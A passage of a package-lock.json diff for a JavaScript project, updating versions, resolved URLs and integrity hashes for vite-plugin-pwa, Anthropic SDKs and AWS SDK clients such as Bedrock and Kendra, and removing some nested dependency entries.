"license": "MIT", + "dependencies": { + "@rollup/plugin-inject": "^5.0.5", + "node-stdlib-browser": "^1.3.1" + }, + "funding": { + "url": "https://github.com/sponsors/davidmyersdev" + }, + "peerDependencies": { + "vite": "^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" + } + }, "client/node_modules/vite-plugin-pwa": { - "version": "0.21.2", - "resolved": "https://registry.npmjs.org/vite-plugin-pwa/-/vite-plugin-pwa-0.21.2.tgz", - "integrity": "sha512-vFhH6Waw8itNu37hWUJxL50q+CBbNcMVzsKaYHQVrfxTt3ihk3PeLO22SbiP1UNWzcEPaTQv+YVxe4G0KOjAkg==", + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/vite-plugin-pwa/-/vite-plugin-pwa-1.2.0.tgz", + "integrity": "sha512-a2xld+SJshT9Lgcv8Ji4+srFJL4k/1bVbd1x06JIkvecpQkwkvCncD1+gSzcdm3s+owWLpMJerG3aN5jupJEVw==", "dev": true, "license": "MIT", "dependencies": { "debug": "^4.3.6", "pretty-bytes": "^6.1.1", "tinyglobby": "^0.2.10", - "workbox-build": "^7.3.0", - "workbox-window": "^7.3.0" + "workbox-build": "^7.4.0", + "workbox-window": "^7.4.0" }, "engines": { "node": ">=16.0.0" @@ -2048,10 +2734,10 @@ "url": "https://github.com/sponsors/antfu" }, "peerDependencies": { - "@vite-pwa/assets-generator": "^0.2.6", - "vite": "^3.1.0 || ^4.0.0 || ^5.0.0 || ^6.0.0", - "workbox-build": "^7.3.0", - "workbox-window": "^7.3.0" + "@vite-pwa/assets-generator": "^1.0.0", + "vite": "^3.1.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0", + "workbox-build": "^7.4.0", + "workbox-window": "^7.4.0" }, "peerDependenciesMeta": { "@vite-pwa/assets-generator": { @@ -2099,9 +2785,9 @@ } }, "node_modules/@anthropic-ai/sdk": { - "version": "0.65.0", - "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.65.0.tgz", - "integrity": "sha512-zIdPOcrCVEI8t3Di40nH4z9EoeyGZfXbYSvWdDLsB/KkaSYMnEgC7gmcgWu83g2NTn1ZTpbMvpdttWDGGIk6zw==", + "version": "0.73.0", + "resolved": "https://registry.npmjs.org/@anthropic-ai/sdk/-/sdk-0.73.0.tgz", + "integrity": "sha512-URURVzhxXGJDGUGFunIOtBlSl7KWvZiAAKY/ttTkZAkXT9bTPqdk2eK0b8qqSxXpikh3QKPnPYpiyX98zf5ebw==", "license": "MIT", "dependencies": { "json-schema-to-ts": "^3.1.1" @@ -2119,15 +2805,33 @@ } }, "node_modules/@anthropic-ai/vertex-sdk": { - "version": "0.14.0", - "resolved": "https://registry.npmjs.org/@anthropic-ai/vertex-sdk/-/vertex-sdk-0.14.0.tgz", - "integrity": "sha512-YIonqYEwQ9ILvpeOUBRBCv+91nzIs/MAZIAJ6yyJ3muwoTbZdEu54A2HcM4nRHH+Gy1vxz0FVau6aGSayXNeWQ==", + "version": "0.14.3", + "resolved": "https://registry.npmjs.org/@anthropic-ai/vertex-sdk/-/vertex-sdk-0.14.3.tgz", + "integrity": "sha512-GJZTkkvN66gM3Epqm9laKEjC3orQqzmQt8JAgTN9+zlb+I+1/oEd3Z7rj2tkEKCTeOUVScdhcXPudN8GdpuGqA==", "license": "MIT", "dependencies": { "@anthropic-ai/sdk": ">=0.50.3 <1", "google-auth-library": "^9.4.2" } }, + "node_modules/@apideck/better-ajv-errors": { + "version": "0.3.6", + "resolved": "https://registry.npmjs.org/@apideck/better-ajv-errors/-/better-ajv-errors-0.3.6.tgz", + "integrity": "sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA==", + "dev": true, + "license": "MIT", + "dependencies": { + "json-schema": "^0.4.0", + "jsonpointer": "^5.0.0", + "leven": "^3.1.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "ajv": ">=8" + } + }, "node_modules/@ariakit/core": { "version": "0.4.15", "resolved": "https://registry.npmjs.org/@ariakit/core/-/core-0.4.15.tgz", @@ -2388,238 +3092,72 @@ } }, "node_modules/@aws-sdk/client-bedrock-agent-runtime": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/client-bedrock-agent-runtime/-/client-bedrock-agent-runtime-3.927.0.tgz", - "integrity": "sha512-k2UeG/+Ka74jztHDzYNrpNLDSsMCst+ph3+e7uAX5Jmo40tVKa+sVu4DkV3BIXuktc6jqM1ewtfPNug79kN6JQ==", + "version": "3.984.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-bedrock-agent-runtime/-/client-bedrock-agent-runtime-3.984.0.tgz", + "integrity": "sha512-oZGlDtjWUNUDTpXYeRpnKM66W/x+HjxV+zesSVFPHOVgdNI7eU00GtMYg0Wk0YKZTSPpNAPV7RhxkMSQuyVa6g==", "license": "Apache-2.0", "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "3.927.0", - "@aws-sdk/credential-provider-node": "3.927.0", - "@aws-sdk/middleware-host-header": "3.922.0", - "@aws-sdk/middleware-logger": "3.922.0", - "@aws-sdk/middleware-recursion-detection": "3.922.0", - "@aws-sdk/middleware-user-agent": "3.927.0", - "@aws-sdk/region-config-resolver": "3.925.0", - "@aws-sdk/types": "3.922.0", - "@aws-sdk/util-endpoints": "3.922.0", - "@aws-sdk/util-user-agent-browser": "3.922.0", - "@aws-sdk/util-user-agent-node": "3.927.0", - "@smithy/config-resolver": "^4.4.2", - "@smithy/core": "^3.17.2", - "@smithy/eventstream-serde-browser": "^4.2.4", - "@smithy/eventstream-serde-config-resolver": "^4.3.4", - "@smithy/eventstream-serde-node": "^4.2.4", - "@smithy/fetch-http-handler": "^5.3.5", - "@smithy/hash-node": "^4.2.4", - "@smithy/invalid-dependency": "^4.2.4", - "@smithy/middleware-content-length": "^4.2.4", - "@smithy/middleware-endpoint": "^4.3.6", - "@smithy/middleware-retry": "^4.4.6", - "@smithy/middleware-serde": "^4.2.4", - "@smithy/middleware-stack": "^4.2.4", - "@smithy/node-config-provider": "^4.3.4", - "@smithy/node-http-handler": "^4.4.4", - "@smithy/protocol-http": "^5.3.4", - "@smithy/smithy-client": "^4.9.2", - "@smithy/types": "^4.8.1", - "@smithy/url-parser": "^4.2.4", + "@aws-sdk/core": "^3.973.6", + "@aws-sdk/credential-provider-node": "^3.972.5", + "@aws-sdk/middleware-host-header": "^3.972.3", + "@aws-sdk/middleware-logger": "^3.972.3", + "@aws-sdk/middleware-recursion-detection": "^3.972.3", + "@aws-sdk/middleware-user-agent": "^3.972.6", + "@aws-sdk/region-config-resolver": "^3.972.3", + "@aws-sdk/types": "^3.973.1", + "@aws-sdk/util-endpoints": "3.984.0", + "@aws-sdk/util-user-agent-browser": "^3.972.3", + "@aws-sdk/util-user-agent-node": "^3.972.4", + "@smithy/config-resolver": "^4.4.6", + "@smithy/core": "^3.22.0", + "@smithy/eventstream-serde-browser": "^4.2.8", + "@smithy/eventstream-serde-config-resolver": "^4.3.8", + "@smithy/eventstream-serde-node": "^4.2.8", + "@smithy/fetch-http-handler": "^5.3.9", + "@smithy/hash-node": "^4.2.8", + "@smithy/invalid-dependency": "^4.2.8", + "@smithy/middleware-content-length": "^4.2.8", + "@smithy/middleware-endpoint": "^4.4.12", + "@smithy/middleware-retry": "^4.4.29", + "@smithy/middleware-serde": "^4.2.9", + "@smithy/middleware-stack": "^4.2.8", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/node-http-handler": "^4.4.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/smithy-client": "^4.11.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", - "@smithy/util-defaults-mode-browser": "^4.3.5", - "@smithy/util-defaults-mode-node": "^4.2.8", - "@smithy/util-endpoints": "^3.2.4", - "@smithy/util-middleware": "^4.2.4", - "@smithy/util-retry": "^4.2.4", + "@smithy/util-defaults-mode-browser": "^4.3.28", + "@smithy/util-defaults-mode-node": "^4.2.31", + "@smithy/util-endpoints": "^3.2.8", + "@smithy/util-middleware": "^4.2.8", + "@smithy/util-retry": "^4.2.8", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-bedrock-agent-runtime/node_modules/@aws-sdk/core": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.927.0.tgz", - "integrity": "sha512-QOtR9QdjNeC7bId3fc/6MnqoEezvQ2Fk+x6F+Auf7NhOxwYAtB1nvh0k3+gJHWVGpfxN1I8keahRZd79U68/ag==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@aws-sdk/xml-builder": "3.921.0", - "@smithy/core": "^3.17.2", - "@smithy/node-config-provider": "^4.3.4", - "@smithy/property-provider": "^4.2.4", - "@smithy/protocol-http": "^5.3.4", - "@smithy/signature-v4": "^5.3.4", - "@smithy/smithy-client": "^4.9.2", - "@smithy/types": "^4.8.1", - "@smithy/util-base64": "^4.3.0", - "@smithy/util-middleware": "^4.2.4", - "@smithy/util-utf8": "^4.2.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-bedrock-agent-runtime/node_modules/@aws-sdk/middleware-host-header": { - "version": "3.922.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-host-header/-/middleware-host-header-3.922.0.tgz", - "integrity": "sha512-HPquFgBnq/KqKRVkiuCt97PmWbKtxQ5iUNLEc6FIviqOoZTmaYG3EDsIbuFBz9C4RHJU4FKLmHL2bL3FEId6AA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@smithy/protocol-http": "^5.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-bedrock-agent-runtime/node_modules/@aws-sdk/middleware-logger": { - "version": "3.922.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-logger/-/middleware-logger-3.922.0.tgz", - "integrity": "sha512-AkvYO6b80FBm5/kk2E636zNNcNgjztNNUxpqVx+huyGn9ZqGTzS4kLqW2hO6CBe5APzVtPCtiQsXL24nzuOlAg==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-bedrock-agent-runtime/node_modules/@aws-sdk/middleware-recursion-detection": { - "version": "3.922.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-recursion-detection/-/middleware-recursion-detection-3.922.0.tgz", - "integrity": "sha512-TtSCEDonV/9R0VhVlCpxZbp/9sxQvTTRKzIf8LxW3uXpby6Wl8IxEciBJlxmSkoqxh542WRcko7NYODlvL/gDA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@aws/lambda-invoke-store": "^0.1.1", - "@smithy/protocol-http": "^5.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-bedrock-agent-runtime/node_modules/@aws-sdk/middleware-user-agent": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-user-agent/-/middleware-user-agent-3.927.0.tgz", - "integrity": "sha512-sv6St9EgEka6E7y19UMCsttFBZ8tsmz2sstgRd7LztlX3wJynpeDUhq0gtedguG1lGZY/gDf832k5dqlRLUk7g==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/core": "3.927.0", - "@aws-sdk/types": "3.922.0", - "@aws-sdk/util-endpoints": "3.922.0", - "@smithy/core": "^3.17.2", - "@smithy/protocol-http": "^5.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-bedrock-agent-runtime/node_modules/@aws-sdk/region-config-resolver": { - "version": "3.925.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/region-config-resolver/-/region-config-resolver-3.925.0.tgz", - "integrity": "sha512-FOthcdF9oDb1pfQBRCfWPZhJZT5wqpvdAS5aJzB1WDZ+6EuaAhLzLH/fW1slDunIqq1PSQGG3uSnVglVVOvPHQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@smithy/config-resolver": "^4.4.2", - "@smithy/node-config-provider": "^4.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-bedrock-agent-runtime/node_modules/@aws-sdk/types": { - "version": "3.922.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/types/-/types-3.922.0.tgz", - "integrity": "sha512-eLA6XjVobAUAMivvM7DBL79mnHyrm+32TkXNWZua5mnxF+6kQCfblKKJvxMZLGosO53/Ex46ogim8IY5Nbqv2w==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/client-bedrock-agent-runtime/node_modules/@aws-sdk/util-endpoints": { - "version": "3.922.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.922.0.tgz", - "integrity": "sha512-4ZdQCSuNMY8HMlR1YN4MRDdXuKd+uQTeKIr5/pIM+g3TjInZoj8imvXudjcrFGA63UF3t92YVTkBq88mg58RXQ==", + "version": "3.984.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/util-endpoints/-/util-endpoints-3.984.0.tgz", + "integrity": "sha512-9ebjLA0hMKHeVvXEtTDCCOBtwjb0bOXiuUV06HNeVdgAjH6gj4x4Zwt4IBti83TiyTGOCl5YfZqGx4ehVsasbQ==", "license": "Apache-2.0", "dependencies": { - "@aws-sdk/types": "3.922.0", - "@smithy/types": "^4.8.1", - "@smithy/url-parser": "^4.2.4", - "@smithy/util-endpoints": "^3.2.4", + "@aws-sdk/types": "^3.973.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", + "@smithy/util-endpoints": "^3.2.8", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-bedrock-agent-runtime/node_modules/@aws-sdk/util-user-agent-browser": { - "version": "3.922.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-browser/-/util-user-agent-browser-3.922.0.tgz", - "integrity": "sha512-qOJAERZ3Plj1st7M4Q5henl5FRpE30uLm6L9edZqZXGR6c7ry9jzexWamWVpQ4H4xVAVmiO9dIEBAfbq4mduOA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@smithy/types": "^4.8.1", - "bowser": "^2.11.0", - "tslib": "^2.6.2" - } - }, - "node_modules/@aws-sdk/client-bedrock-agent-runtime/node_modules/@aws-sdk/util-user-agent-node": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/util-user-agent-node/-/util-user-agent-node-3.927.0.tgz", - "integrity": "sha512-5Ty+29jBTHg1mathEhLJavzA7A7vmhephRYGenFzo8rApLZh+c+MCAqjddSjdDzcf5FH+ydGGnIrj4iIfbZIMQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/middleware-user-agent": "3.927.0", - "@aws-sdk/types": "3.922.0", - "@smithy/node-config-provider": "^4.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - }, - "peerDependencies": { - "aws-crt": ">=1.0.0" - }, - "peerDependenciesMeta": { - "aws-crt": { - "optional": true - } - } - }, - "node_modules/@aws-sdk/client-bedrock-agent-runtime/node_modules/@aws-sdk/xml-builder": { - "version": "3.921.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/xml-builder/-/xml-builder-3.921.0.tgz", - "integrity": "sha512-LVHg0jgjyicKKvpNIEMXIMr1EBViESxcPkqfOlT+X1FkmUMTNZEEVF18tOJg4m4hV5vxtkWcqtr4IEeWa1C41Q==", - "license": "Apache-2.0", - "dependencies": { - "@smithy/types": "^4.8.1", - "fast-xml-parser": "5.2.5", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/client-bedrock-agent-runtime/node_modules/@smithy/is-array-buffer": { @@ -2660,115 +3198,62 @@ "node": ">=18.0.0" } }, - "node_modules/@aws-sdk/client-bedrock-agent-runtime/node_modules/fast-xml-parser": { - "version": "5.2.5", - "resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.2.5.tgz", - "integrity": "sha512-pfX9uG9Ki0yekDHx2SiuRIyFdyAr1kMIMitPvb0YBo8SUfKvia7w7FIyd/l6av85pFYRhZscS75MwMnbvY+hcQ==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT", - "dependencies": { - "strnum": "^2.1.0" - }, - "bin": { - "fxparser": "src/cli/cli.js" - } - }, - "node_modules/@aws-sdk/client-bedrock-agent-runtime/node_modules/strnum": { - "version": "2.1.1", - "resolved": "https://registry.npmjs.org/strnum/-/strnum-2.1.1.tgz", - "integrity": "sha512-7ZvoFTiCnGxBtDqJ//Cu6fWtZtc7Y3x+QOirG15wztbdngGSkht27o2pyGWrVy0b4WAy3jbKmnoK6g5VlVNUUw==", - "funding": [ - { - "type": "github", - "url": "https://github.com/sponsors/NaturalIntelligence" - } - ], - "license": "MIT" - }, "node_modules/@aws-sdk/client-bedrock-runtime": { - "version": "3.958.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/client-bedrock-runtime/-/client-bedrock-runtime-3.958.0.tgz", - "integrity": "sha512-GmcgfGsBvZ+ZJv/AS62MugfMnIO3sA6cbW1gfAWgyaGrQH0mo5Tb1S437sm0uBFHgKWRZPrc1DovXKD45B0mEw==", + "version": "3.980.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-bedrock-runtime/-/client-bedrock-runtime-3.980.0.tgz", + "integrity": "sha512-agRy8K543Q4WxCiup12JiSe4rO2gkw4wykaGXD+MEmzG2Nq4ODvKrNHT+XYCyTvk9ehJim/vpu+Stae3nEI0yw==", "license": "Apache-2.0", "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "3.957.0", - "@aws-sdk/credential-provider-node": "3.958.0", - "@aws-sdk/eventstream-handler-node": "3.957.0", - "@aws-sdk/middleware-eventstream": "3.957.0", - "@aws-sdk/middleware-host-header": "3.957.0", - "@aws-sdk/middleware-logger": "3.957.0", - "@aws-sdk/middleware-recursion-detection": "3.957.0", - "@aws-sdk/middleware-user-agent": "3.957.0", - "@aws-sdk/middleware-websocket": "3.957.0", - "@aws-sdk/region-config-resolver": "3.957.0", - "@aws-sdk/token-providers": "3.958.0", - "@aws-sdk/types": "3.957.0", - "@aws-sdk/util-endpoints": "3.957.0", - "@aws-sdk/util-user-agent-browser": "3.957.0", - "@aws-sdk/util-user-agent-node": "3.957.0", - "@smithy/config-resolver": "^4.4.5", - "@smithy/core": "^3.20.0", - "@smithy/eventstream-serde-browser": "^4.2.7", - "@smithy/eventstream-serde-config-resolver": "^4.3.7", - "@smithy/eventstream-serde-node": "^4.2.7", - "@smithy/fetch-http-handler": "^5.3.8", - "@smithy/hash-node": "^4.2.7", - "@smithy/invalid-dependency": "^4.2.7", - "@smithy/middleware-content-length": "^4.2.7", - "@smithy/middleware-endpoint": "^4.4.1", - "@smithy/middleware-retry": "^4.4.17", - "@smithy/middleware-serde": "^4.2.8", - "@smithy/middleware-stack": "^4.2.7", - "@smithy/node-config-provider": "^4.3.7", - "@smithy/node-http-handler": "^4.4.7", - "@smithy/protocol-http": "^5.3.7", - "@smithy/smithy-client": "^4.10.2", - "@smithy/types": "^4.11.0", - "@smithy/url-parser": "^4.2.7", + "@aws-sdk/core": "^3.973.5", + "@aws-sdk/credential-provider-node": "^3.972.4", + "@aws-sdk/eventstream-handler-node": "^3.972.3", + "@aws-sdk/middleware-eventstream": "^3.972.3", + "@aws-sdk/middleware-host-header": "^3.972.3", + "@aws-sdk/middleware-logger": "^3.972.3", + "@aws-sdk/middleware-recursion-detection": "^3.972.3", + "@aws-sdk/middleware-user-agent": "^3.972.5", + "@aws-sdk/middleware-websocket": "^3.972.3", + "@aws-sdk/region-config-resolver": "^3.972.3", + "@aws-sdk/token-providers": "3.980.0", + "@aws-sdk/types": "^3.973.1", + "@aws-sdk/util-endpoints": "3.980.0", + "@aws-sdk/util-user-agent-browser": "^3.972.3", + "@aws-sdk/util-user-agent-node": "^3.972.3", + "@smithy/config-resolver": "^4.4.6", + "@smithy/core": "^3.22.0", + "@smithy/eventstream-serde-browser": "^4.2.8", + "@smithy/eventstream-serde-config-resolver": "^4.3.8", + "@smithy/eventstream-serde-node": "^4.2.8", + "@smithy/fetch-http-handler": "^5.3.9", + "@smithy/hash-node": "^4.2.8", + "@smithy/invalid-dependency": "^4.2.8", + "@smithy/middleware-content-length": "^4.2.8", + "@smithy/middleware-endpoint": "^4.4.12", + "@smithy/middleware-retry": "^4.4.29", + "@smithy/middleware-serde": "^4.2.9", + "@smithy/middleware-stack": "^4.2.8", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/node-http-handler": "^4.4.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/smithy-client": "^4.11.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", - "@smithy/util-defaults-mode-browser": "^4.3.16", - "@smithy/util-defaults-mode-node": "^4.2.19", - "@smithy/util-endpoints": "^3.2.7", - "@smithy/util-middleware": "^4.2.7", - "@smithy/util-retry": "^4.2.7", - "@smithy/util-stream": "^4.5.8", + "@smithy/util-defaults-mode-browser": "^4.3.28", + "@smithy/util-defaults-mode-node": "^4.2.31", + "@smithy/util-endpoints": "^3.2.8", + "@smithy/util-middleware": "^4.2.8", + "@smithy/util-retry": "^4.2.8", + "@smithy/util-stream": "^4.5.10", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-bedrock-runtime/node_modules/@aws-sdk/credential-provider-node": { - "version": "3.958.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/credential-provider-node/-/credential-provider-node-3.958.0.tgz", - "integrity": "sha512-vdoZbNG2dt66I7EpN3fKCzi6fp9xjIiwEA/vVVgqO4wXCGw8rKPIdDUus4e13VvTr330uQs2W0UNg/7AgtquEQ==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/credential-provider-env": "3.957.0", - "@aws-sdk/credential-provider-http": "3.957.0", - "@aws-sdk/credential-provider-ini": "3.958.0", - "@aws-sdk/credential-provider-process": "3.957.0", - "@aws-sdk/credential-provider-sso": "3.958.0", - "@aws-sdk/credential-provider-web-identity": "3.958.0", - "@aws-sdk/types": "3.957.0", - "@smithy/credential-provider-imds": "^4.2.7", - "@smithy/property-provider": "^4.2.7", - "@smithy/shared-ini-file-loader": "^4.4.2", - "@smithy/types": "^4.11.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" + "node": ">=20.0.0" } }, "node_modules/@aws-sdk/client-bedrock-runtime/node_modules/@smithy/is-array-buffer": { @@ -2810,236 +3295,69 @@ } }, "node_modules/@aws-sdk/client-kendra": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/client-kendra/-/client-kendra-3.927.0.tgz", - "integrity": "sha512-DWyNlC6BFhzoDkyKZ3xv0BC/xcXF3Tpq6j6Z42DXO9KEUjiGmC3se9l/GFEVtRLh/DR4p7cTJsxzA2QNuthRNg==", + "version": "3.984.0", + "resolved": "https://registry.npmjs.org/@aws-sdk/client-kendra/-/client-kendra-3.984.0.tgz", + "integrity": "sha512-csqS9mbfZmgQbb5NokZQ4siB6rVPsOYtppr80njxVrRPtRIeTq+YU+OXcvea06sbpRL+sNQ+PqOhgW4/HB7swQ==", "license": "Apache-2.0", "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", - "@aws-sdk/core": "3.927.0", - "@aws-sdk/credential-provider-node": "3.927.0", - "@aws-sdk/middleware-host-header": "3.922.0", - "@aws-sdk/middleware-logger": "3.922.0", - "@aws-sdk/middleware-recursion-detection": "3.922.0", - "@aws-sdk/middleware-user-agent": "3.927.0", - "@aws-sdk/region-config-resolver": "3.925.0", - "@aws-sdk/types": "3.922.0", - "@aws-sdk/util-endpoints": "3.922.0", - "@aws-sdk/util-user-agent-browser": "3.922.0", - "@aws-sdk/util-user-agent-node": "3.927.0", - "@smithy/config-resolver": "^4.4.2", - "@smithy/core": "^3.17.2", - "@smithy/fetch-http-handler": "^5.3.5", - "@smithy/hash-node": "^4.2.4", - "@smithy/invalid-dependency": "^4.2.4", - "@smithy/middleware-content-length": "^4.2.4", - "@smithy/middleware-endpoint": "^4.3.6", - "@smithy/middleware-retry": "^4.4.6", - "@smithy/middleware-serde": "^4.2.4", - "@smithy/middleware-stack": "^4.2.4", - "@smithy/node-config-provider": "^4.3.4", - "@smithy/node-http-handler": "^4.4.4", - "@smithy/protocol-http": "^5.3.4", - "@smithy/smithy-client": "^4.9.2", - "@smithy/types": "^4.8.1", - "@smithy/url-parser": "^4.2.4", + "@aws-sdk/core": "^3.973.6", + "@aws-sdk/credential-provider-node": "^3.972.5", + "@aws-sdk/middleware-host-header": "^3.972.3", + "@aws-sdk/middleware-logger": "^3.972.3", + "@aws-sdk/middleware-recursion-detection": "^3.972.3", + "@aws-sdk/middleware-user-agent": "^3.972.6", + "@aws-sdk/region-config-resolver": "^3.972.3", + "@aws-sdk/types": "^3.973.1", + "@aws-sdk/util-endpoints": "3.984.0", + "@aws-sdk/util-user-agent-browser": "^3.972.3", + "@aws-sdk/util-user-agent-node": "^3.972.4", + "@smithy/config-resolver": "^4.4.6", + "@smithy/core": "^3.22.0", + "@smithy/fetch-http-handler": "^5.3.9", + "@smithy/hash-node": "^4.2.8", + "@smithy/invalid-dependency": "^4.2.8", + "@smithy/middleware-content-length": "^4.2.8", + "@smithy/middleware-endpoint": "^4.4.12", + "@smithy/middleware-retry": "^4.4.29", + "@smithy/middleware-serde": "^4.2.9", + "@smithy/middleware-stack": "^4.2.8", + "@smithy/node-config-provider": "^4.3.8", + "@smithy/node-http-handler": "^4.4.8", + "@smithy/protocol-http": "^5.3.8", + "@smithy/smithy-client": "^4.11.1", + "@smithy/types": "^4.12.0", + "@smithy/url-parser": "^4.2.8", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", - "@smithy/util-defaults-mode-browser": "^4.3.5", - "@smithy/util-defaults-mode-node": "^4.2.8", - "@smithy/util-endpoints": "^3.2.4", - "@smithy/util-middleware": "^4.2.4", - "@smithy/util-retry": "^4.2.4", - "@smithy/util-utf8": "^4.2.0", - "@smithy/uuid": "^1.1.0", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-kendra/node_modules/@aws-sdk/core": { - "version": "3.927.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/core/-/core-3.927.0.tgz", - "integrity": "sha512-QOtR9QdjNeC7bId3fc/6MnqoEezvQ2Fk+x6F+Auf7NhOxwYAtB1nvh0k3+gJHWVGpfxN1I8keahRZd79U68/ag==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@aws-sdk/xml-builder": "3.921.0", - "@smithy/core": "^3.17.2", - "@smithy/node-config-provider": "^4.3.4", - "@smithy/property-provider": "^4.2.4", - "@smithy/protocol-http": "^5.3.4", - "@smithy/signature-v4": "^5.3.4", - "@smithy/smithy-client": "^4.9.2", - "@smithy/types": "^4.8.1", - "@smithy/util-base64": "^4.3.0", - "@smithy/util-middleware": "^4.2.4", + "@smithy/util-defaults-mode-browser": "^4.3.28", + "@smithy/util-defaults-mode-node": "^4.2.31", + "@smithy/util-endpoints": "^3.2.8", + "@smithy/util-middleware": "^4.2.8", + "@smithy/util-retry": "^4.2.8", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" }, "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-kendra/node_modules/@aws-sdk/middleware-host-header": { - "version": "3.922.0", - "resolved": "https://registry.npmjs.org/@aws-sdk/middleware-host-header/-/middleware-host-header-3.922.0.tgz", - "integrity": "sha512-HPquFgBnq/KqKRVkiuCt97PmWbKtxQ5iUNLEc6FIviqOoZTmaYG3EDsIbuFBz9C4RHJU4FKLmHL2bL3FEId6AA==", - "license": "Apache-2.0", - "dependencies": { - "@aws-sdk/types": "3.922.0", - "@smithy/protocol-http": "^5.3.4", - "@smithy/types": "^4.8.1", - "tslib": "^2.6.2" - }, - "engines": { - "node": ">=18.0.0" - } - }, - "node_modules/@aws-sdk/client-kendra/node_modules/@aws-sdk/middleware-logger": { - "version": "3.922.0", - "resolved": 